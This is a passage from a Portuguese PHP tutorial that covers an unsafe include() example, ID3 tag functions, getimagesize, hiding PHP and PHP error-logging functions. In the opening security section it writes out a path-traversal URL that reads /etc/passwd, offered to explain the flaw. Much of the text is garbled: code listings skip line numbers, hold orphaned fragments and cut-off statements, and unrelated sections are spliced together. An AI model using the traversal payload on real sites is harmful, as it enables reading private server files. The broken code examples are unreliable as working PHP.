outra forma que usam o include assim:
exemplo 4:
PHP
1. <?php
2.
3. include ("var/www/htdocs/http/".$_GET["corpo"]);
4.
5. ?>
agora no conseguiremos mais injetar nenhum script pois se tentarmos daria erro porque ele
no conseguiu achar o caminho certo
mas ainda da pra tirar alguma vantagem dessa situao se for servidor linux vamos fazer assim:
http://site_vitima.com.br?corpo=../../../etc/passwd
PHP
1. <?php
2.
3. include ("var/www/htdocs/http/../../../etc/passwd");
4.
5. ?>
Permitindo assim ler qualquer arquivo no servidor no qual tenhamos permisso para isso.
apenas arquivo com extenso .php no conseguiremos ler
nesse diretorio fica todos os usurios do computador.
Bom vamos parar por aqui porque no quero treinar nenhum usuario para ser hacker e sim
aprender mais sobre segurana
mas fique atento sites sem proteo o atacante pode visualizar senhas e pastas que voc no
esperava que ele veria
proteja seus diretorios e reescreva ses scripts para melhorar a segurana, hoje em dia o
register_globals deixou de ser setado pra on no php.ini
para off, por motivos de segurana, com o register_globals = on da para invadir sites pelo
login, injetar cdigos malisiosos
muito mais facil ,resumindo register_globals = on deixa uma brecha enorme na sua segurana
a mesma coisa voc reforar sua porta colocando cadeados
fechaduras fortes, mas a casa ta sem paredes o ladro entra sem passar pela porta, e os
tecnicos do php aconselham a nunca mais usar o register_globals = on
Fique atento tambm contra sql injection , ja no vou falar dele pois vocs devem conhecer
bastante sobre isso
bons estudos.
Id3 Tags MP3 e PEAR
Para usar a funo do php para manipular as tags mp3 voc precisa descomentar a
linhaextension=php_id3.dll
do php.ini e reiniciar o servidor, recomendo instalar tambm os servios do PEAR ,PEAR quer
dizer pra e at seu simbolo
a fruta pra.
PEAR, o repositrio do PHP de aplicao e extenso (originalmente, Extenso do PHP e
Repositrio de Add-on) so as verses das classes da fundao do PHP, e talvez cresam no
futuro para ser um dos caminhos principais para distribuir o PHP em ambas extenses, C e PHP
entre os desenvolvedores.
O PEAR nasceu em discusses realizadas nas PHP Developers' Meeting-PMD (Reunies dos
Desenvolvedores do PHP-RDP) realizada em Janeiro de 2000 em Tel Aviv. Foi criada por Sitg S.
Bakken, e dedicada sua primeira filha, Malin Bakken.
Desde o comeo de 2000, o PEAR cresceu para ser um grande, e significativo projeto com um
largo nmero de desenvolvedores trabalhando em executar tarefas comuns, funcionalidades
reusveis para o benefcio de toda a comunidade PHP. Hoje em dia o PEAR inclu acesso base
de dados, cache de contedo, calculaes matemticas, eCommerce e muito mais.
Mais informao sobre o PEAR pode ser encontrada em http://pear.php.net/manual
Com essa funo do php para manipular o mp3 voc conseguir pegar informaes das
musicas mp3 como por exemplo titulo da musica nome do artista, album, genero musical, ano
do cd e nmero da musica.
e vai poder tambm editar essas informaes dos arquivos .mp3
funes do php para manipular o mp3:
id3_get_genre_id -- Voc fornece o nome do genero e essa funo retorna o numero do
genero da musica por exemplo id3_get_genre_id("Rock") = 17
id3_get_genre_list -- Pega a lista de todos os generos e coloca um array numero e nome do
genero
id3_get_genre_name -- Voc fornece o numero do genero e essa funo retorna o nome do
genero da musica por exemplo id3_get_genre_id(17) = Rock
id3_get_tag -- Pega todas informaes da tag mp3 e passa para um array
id3_get_version -- Pega a verso do id3
id3_remove_tag -- Remove as tags do mp3
id3_set_tag -- Atualiza as tags do mp3
Exemplo 1. id3_get_genre_id()
PHP
1. <?php
2. $id = id3_get_genre_id("Alternative");
3. echo $id;
4. ?>
Resultado: 20
Exemplo 2. id3_get_genre_list()
PHP
1. <?php
2. $genres = id3_get_genre_list();
3. print_r($genres);
4. ?>
Resultado:
Array
(
[0] => Blues
[1] => Classic Rock
[2] => Country
[3] => Dance
[4] => Disco
[5] => Funk
[6] => Grunge
[7] => Hip-Hop
[8] => Jazz
[9] => Metal
[10] => New Age
[11] => Oldies
[12] => Other
[13] => Pop
[14] => R&B
[15] => Rap
[16] => Reggae
[17] => Rock
[18] => Techno
[19] => Industrial
[20] => Alternative
[21] => Ska
Exemplo 3. id3_get_genre_name()
PHP
1. <?php
2. $genre = id3_get_genre_name(20);
3. echo $genre;
4. ?>
Resultado: Alternative
Exemplo 4. id3_get_tag()
PHP
1. <?php
2. $tag = id3_get_tag( "example.mp3" );
3. print_r($tag);
4. ?>
Resultado:
Array
(
[title] => DN-38416
[artist] => Re:\Legion
[album] => Reflections
[year] => 2004
[genre] => 19
)
5. }
6. if ($version == ID3_V1_1) {
7. echo "Versao 1.1";
8. }
9. if ($version == ID3_V2) {
10. echo "Versao 2.x";
11. }
12. ?>
Exemplo 7. id3_set_tag()
PHP
1. <?php
2. $data = array(
3. "title" => "Re:Start",
4. "artist" => "Re:\Legion",
5. "comment" => "A nice track"
6.
);
Se quiserem conferir mais detalhes eu fiz uma funo que lista s as mp3 que tiver no diretorio
e ainda tem um player para tocar as musicas, mostra o tamanho das mp3
e tem a opo de editar as tags mp3 s clicar no simbolo do lado do nome coloquei uma
imagem do winamp, esse script que eu fiz est no laboratorio de scripts
podem utilizarem ,modificarem e melhorarem, fiquem a vontade, a s lembrando essa
imagem que fica do lado do nome das mp3 no diretorio esta em mime e voc vai visualizar ela
normalmente
fiz isso para no precisar de eu colocar a imagem no servidor pra download e para vocs
aprenderem mais uma novidade.
Funo getimagesize
Muita gente no conhece mas essa funo simples muito util para voc validar uma imagem
,e voc pode tambm pegar as dimenses da imagem
e o tipo mime real da imagem
$size = getimagesize("foto.jpg");
resultado:
Array ( [0] => 192 [1] => 32 [2] => 1 [3] => width="192" height="32" [bits] => 8 [channels] => 3
[mime] => image/gif )
Segurana
Escondendo o PHP
Em geral, segurana por obscurido uma das mais fracas formas de segurana. Mas em
alguns casos, cada pequeno bit extra de segurana desejvel.
Algumas poucas tcnicas simples podem ajudar a esconder o PHP, possivelmente atrasando
um invasor que est tentando descobrir fraquezas em seu sistema. Setando expose_php = off
em seu arquivo php.ini, voc reduz a quantidade de informao disponvel para ele.
Uma outra ttica configurar os servidores tais como apache para interpretar diferentes tipos
de arquivos atravs do PHP, ou com uma diretiva .htaccess, ou na prpria configurao do
apache. Voc pode ento usar extenses de arquivos enganadoras: Escondendo PHP fazendo
parecer com outra linguagem
# Fazer o cdigo PHP parecer com outros tipos de cdigos
AddType application/x-httpd-php .asp .py .pl
Ou escond-lo completamente: Exemplo 15-19. Usando tipos desconhecidos para extenses
do PHP
# Fazer o cdigo PHP parecer com tipos de cdigos desconhecidos
AddType application/x-httpd-php .bop .foo .133t
Ou escond-lo no cdigo HTML, que tem baixa chance de ser atingido porque todos os HTML
sero interpretados pelo PHP: Exemplo 15-20. Usando tipos de HTML para extenses do PHP
# Fazer todo o cdigo parecer com HTML
AddType application/x-httpd-php .htm .html
Para este exemplo trabalhar efetivamente, voc deve renomear todos os seus arquivos PHP
com as extenses acimas. Apesar dessa ser a forma de segurana atravs obscurido, ela a
medida menos preventiva e com algumas desvantagens.
Log de Erros
error_log()
error_log -- Envia uma mensagem de erro para algum lugar
Descrio
int error_log ( string mensagem [, int mensagem_type [, string destination [, string
extra_headers]]])
Envia uma mensagem de erro para o log de um servidor, para uma porta TCP ou para um
arquivo. O primeiro parmetro, mensagem, a mensagem de erro que deve ser logada. O
segundo parmetro, mensagem_type diz para onde a mensagem deve ir:
Tabela 1. Tipo de logs de error_log()
0 mensagem enviada para o sistema de log do PHP, usando o sistema de log do sistema
Valor Constante
1 E_ERROR
2 E_WARNING
4 E_PARSE
8 E_NOTICE
16 E_CORE_ERROR
32 E_CORE_WARNING
64 E_COMPILE_ERROR
128 E_COMPILE_WARNING
256 E_USER_ERROR
512 E_USER_WARNING
1024 E_USER_NOTICE
2047 E_ALL
2048 E_STRICT
Ateno
Debug remoto via TCP/IP do PHP 3 e no esta disponvel no PHP 4.
Exemplo 1. Exemplos de error_log()
PHP
1.
2. <?php
3. // Envia uma notificao para o log do servidor
4. // se no pudermos conectar ao banco de dados.
5. if (!Ora_Logon($username, $password)) {
6. error_log("Oracle database not available!", 0);
7. }
8.
9. // Avisa o administrados se ns ficarmos sem FOO
10. if (!($foo = allocate_new_foo())) {
11. error_log("Big trouble, we're all out of FOOs!", 1,
12. "operator@example.com");
13. }
14.
15. // outros meios de usar calling error_log():
16. error_log("You messed up!", 2, "127.0.0.1:7000");
17. error_log("You messed up!", 2, "loghost");
18. error_log("You messed up!", 3, "/var/tmp/my-errors.log");
19. ?>
Erros e Logs
Introduo
Estas so funes para lidar com erros e logs. Elas permitem a voc definir a suas prprias
regras para manusear erros, assim como para modificar a maneira com que efetuado o log
de erros. Isto permite a voc melhorar e adaptar as suas necessidades os avisos de erro.
Com as funes de log, voc pode mandar mensagens diretamente para outras mquinas, para
um email (ou email para um pager), para os logs do sistema, etc, assim voc pode
seletivamente logar e monitorar as partes mais importantes das suas aplicaes e websites.
As funes de erro permitem voc configurar quais nveis de erro devem ser reportados e o
tipo de resposta que ser dado, indo desde simples avisos at as funes retornadas durante
os erros.
Requisitos
Nenhuma biblioteca externa necessria para compilar esta extenso.
Instalao
No h nenhuma instalao necessria para utilizar estas funes, elas fazem parte do ncleo
do PHP.
Configurao durante execuo
O comportamento dessas funes podem ser modificado pelas configuraes do php.ini.
html_errors boolean
Desativa as tags HTML nas mensagens de erro. O novo formato de mensagens de erro em
HTML produz mensagens que podem ser clicadas e que direcionam o usurio para uma pagina
descrevendo o erro ou a funo que causou o erro. Estas referencias so afetadas por
docref_root e docref_ext.
docref_root string
O novo formato de mensagens de erro em HTML produz mensagens que podem ser clicadas e
que direcionam o usurio para uma pagina descrevendo o erro ou a funo que causou o erro.
No caso de paginas de manual voc pode baixar o manual na sua lngua e definir esta diretiva
para a sua cpia local. Se a sua cpia local do manual podur ser acessada por '/manual/' voc
pode simplesmente usar docref_root=/manual/. Adicionalmente voc deve definir docref_ext
para ser igual a extenso da sua cpia docref_ext=.html. possvel usar referencias externas.
Por exemplo, voc pode usar docref_root=http://manual/en/ ou
docref_root="http://landonize.it/?how=url&theme=classic&filter=Landon
&url=http%3A%2F%2Fwww.php.net%2F"
A maior parte do tempo voc deve querer que o valor de docref_root termine com uma barra
'/'. Mas veja o segundo exemplo acima o qual no tem ou no necessita isso.
Nota: Isto para suportar o seu desenvolvimento j que torna mais fcil encontrar a descrio
de uma funo. Entretando no deve ser usado em sistemas de produo (ex. sistemas
conectados na internet).
docref_ext string
Veja docref_root.
Nota: O valor de docref_ext deve comear com um ponto '.'.
error_prepend_string string
String para mostrar antes de uma mensagem de erro.
error_append_string string
String para mostrar aps uma mensagem de erro.
error_log string
O nome do arquivo onde os erros do script sero logados. Se o valor especial syslog usado, os
erros so enviados para o log do sistema. No UNIX, isto indica syslog(3) e no Windows NT isto
indica o log do evento. O log de sistema no suportado no Windows 95. Veja tambm:
syslog().
warn_plus_overloading boolean
Se ativado, esta opo faz o PHP mostrar um aviso quando o operador de adio (+) usado
em strings. Isto para tornar mais fcil encontrar scripts que precisam ser rescritos usando o
Constantes Predefinidas
As constantes listadas abaixo esto sempre disponveis como parte do ncleo do PHP.
Nota: Voc pode usar estes nomes de constantes no php.ini mas no fora do PHP, como no
httpd.conf, aonde voc deve usar os valores.
Tabela 2. Erros e Log
Os valores acima (numricos ou simbolicos) so usados para criar um bitmask que especifica
quais erros reportar.Voc pode usar os operadores Bit-a-bit para combinar estes valores ou
mascarar certos tipos de erro. Note que somente '|', '~', '!', ^ e '&' sero entendidos dentro do
php.ini, entretanto, nenhum operador ser entendido no php3.ini.
Exemplos
Abaixo voc poder ver um exemplo de como usar as capacidades de gerenciamento de erros
no PHP. Ns definimos uma funo para gerenciamento de erros a qual guardas as
informaes dentro de um arquivo (usando um formato XML), e envia um e-mail para o
desenvolvador caso um erro crtico na lgica acontea. Exemplo 1. Usando gerenciamento de
erro em um script
PHP
1. <?php
2. // ns iremos fazer o nosso prprio gerenciamento de erros
3. error_reporting(0);
4.
5. // funo definida pelo usurio para gerenciamento de erros
6. function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars) {
7. // timestamp para a entrada do erro
8. $dt = date("Y-m-d H:i:s (T)");
9.
10. // Define uma matriz associativa com as strings dos erros
11. $errortype = array (
12. 1 => "Error",
13. 2 => "Warning",
14. 4 => "Parsing Error",
15. 8 => "Notice",
16. 16 => "Core Error",
17. 32 => "Core Warning",
18. 64 => "Compile Error",
19. 128 => "Compile Warning",
47.
48.
49. function distance($vect1, $vect2) {
50. if (!is_array($vect1) || !is_array($vect2)) {
51. trigger_error("Incorrect parameters, arrays expected", E_USER_ERROR);
52. return NULL;
53. }
54.
55. if (count($vect1) != count($vect2)) {
56. trigger_error("Vectors need to be of the same size", E_USER_ERROR);
57. return NULL;
58. }
59.
60. for ($i=0; $i<count($vect1); $i++) {
61. $c1 = $vect1[$i]; $c2 = $vect2[$i];
62. $d = 0.0;
63. if (!is_numeric($c1)) {
64. trigger_error("Coordinate $i in vector 1 is not a number, using zero",
65. E_USER_WARNING);
66. $c1 = 0.0;
67. }
68. if (!is_numeric($c2)) {
69. trigger_error("Coordinate $i in vector 2 is not a number, using zero",
70. E_USER_WARNING);
71. $c2 = 0.0;
72. }
73. $d += $c2*$c2 - $c1*$c1;
74. }
75. return sqrt($d);
76. }
77.
78. $old_error_handler = set_error_handler("userErrorHandler");
79.
80. // constante indefinida, gera um aviso
81. $t = I_AM_NOT_DEFINED;
82.
83. // define alguns "vetores"
84. $a = array(2, 3, "foo");
85. $b = array(5.5, 4.3, -1.6);
86. $c = array (1,-3);
87.
88. // gera um erro do usurio
."\n";
90.
91. // gera outro erro do usurio
92. $t2 = distance($b, "i am not an array")."\n";
93.
94. // gera um aviso
debug_backtrace
."\n";
10. a_test('friend');
11. ?>
Hi: friend
array(2) {
[0]=>
array(4) {
["file"] => string(10) "/tmp/a.php"
["line"] => int(10)
["function"] => string(6) "a_test"
["args"]=>
array(1) {
[0] => &string(6) "friend"
}
}
[1]=>
array(4) {
["file"] => string(10) "/tmp/b.php"
["line"] => int(2)
["args"] =>
array(1) {
[0] => string(10) "/tmp/a.php"
}
["function"] => string(12) "include_once"
}
}
debug_print_backtrace
(PHP 5)
debug_print_backtrace -- Mostra um backtrace
restore_error_handler
(PHP 4 >= 4.0.1, PHP 5)
restore_error_handler -- Restaura a funo anterior para gerenciamento de erro
set_error_handler
(PHP 4 >= 4.0.1, PHP 5)
set_error_handler -- Define uma funo do usurio para manusear os erros.
Descrio
string set_error_handler ( callback error_handler)
Define uma funo do usurio (error_handler) para manusear os erros no script. Retorna a
funo definida anteriormente (se houver alguma), ou FALSE em caso de erro. Esta funo
pode ser usada para definir o seu prprio meio de manusear os erros durante a execuo do
script, por exemplo em aplicaes que voc precisa fazer uma limpesa de dados/arquivos
quando um erro crtico acontece, ou quando voc quer criar um erro sobre certas condies
(usando trigger_error()).
A funo do usuario precisa aceitar dois parmetros: o cdigo do erro e a string descrevendo o
erro. Apartir do PHP 4.0.2, trs parmetros opcionais so fornecidos: o nome do erro onde o
arquivo aconteceu, o nmero da linha onde o erro aconteceu, e o contexto onde o erro
aconteceu (uma matriz que aponta para a tabela de smbolos ativos no ponto onde aconteceu
o erro).
Nota: Ao invs de um nome de funo, uma matriz contendo uma referncia a um objeto e um
nome de metodo pode ser indicado (Apartir do PHP 4.3.0).
Nota: Os seguintes tipos de erro no podem ser manuseados por uma funo definida pelo
usurio: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR e
E_COMPILE_WARNING.
O exemplo abaixo mostra como manusear excees criando erros e gerenciando erros com
uma funo definida pelo usurio: Exemplo 1. Manuseando erros com set_error_handler() e
trigger_error()
PHP
1. <?php
2.
3. // redefine the user error constants - PHP 4 only
4. define("FATAL", E_USER_ERROR);
5. define("ERROR", E_USER_WARNING);
6. define("WARNING", E_USER_NOTICE);
7.
8. // set the error reporting level for this script
9. error_reporting(FATAL | ERROR | WARNING);
10.
11. // error handler function
12. function myErrorHandler($errno, $errstr, $errfile, $errline) {
13. switch ($errno) {
14. case FATAL:
15. echo "<b>FATAL</b> [$errno] $errstr<br />\n";
16. echo " Fatal error in line $errline of file $errfile";
17. echo ", PHP ".PHP_VERSION." (".PHP_OS.")<br />\n";
18. echo "Aborting...<br />\n";
19. exit(1);
20. break;
21. case ERROR:
22. echo "<b>ERROR</b> [$errno] $errstr<br />\n";
23. break;
24. case WARNING:
25. echo "<b>WARNING</b> [$errno] $errstr<br />\n";
26. break;
27. default:
65. print_r($
66.
67. // this is trouble, we pass a string instead of an array
68. echo "----\nvector c - an error\n";
69. $c = scale_by_log("not array", 2.3);
70. var_dump($c);
71.
72. // this is a critical error, log of zero or negative number is undefined
73. echo "----\nvector d - fatal error\n";
74. $d = scale_by_log($a, -2.5);
75.
76. ?>
Array
(
[0] => 2
[1] => 3
[2] => foo
[3] => 5.5
[4] => 43.3
[5] => 21.11
)
Array
(
[0] => 2.2894597716988
[1] => 3.4341896575482
[2] => 0
[3] => 6.2960143721717
[4] => 49.566804057279
[5] => 24.165247890281
)
vector c - an error
<b>ERROR</b> [512] Incorrect input vector, array of values expected<br />
NULL
---vector d - fatal error
<b>FATAL</b> [256] log(x) for x <= 0 is undefined, you used: scale = -2.5<br />
Fatal error in line 36 of file trigger_error.php, PHP 4.0.2 (Linux)<br />
Aborting...<br />
causou o erro
Nota: Se o erro acontecer antes da execuo do script(ex. enquanto o arquivo carregado) a
funo defina pelo usuario no ser chamada j que no estar ainda registrada.
trigger_error
(PHP 4 >= 4.0.1, PHP 5)
trigger_error -- Gera uma mensagem de usurio sobre error/warning/notice
Descrio
void trigger_error ( string error_msg [, int error_type])
Usa para realizar uma condio de erro, pode ser usado em conjunto com o gerenciador de
erros padro ou com uma funo definida pelo usurio, se for definida como gerenciador de
erros com set_error_handler(). Somente funciona com as constantes da famlia E_USER, e o
padro E_USER_NOTICE.
Esta funo til quando voc quer gerar uma resposta para uma exceo durante a execuo
do script. Por exemplo:
PHP
1. <?php
2. if (assert($divisor == 0)) {
3. trigger_error("No posso dividir por zero", E_USER_ERROR);
4. }
5. ?>
passar um curso avanado sobre outros bancos de dados e funes avanadas do php,
aguardem e bons estudos
at a prxima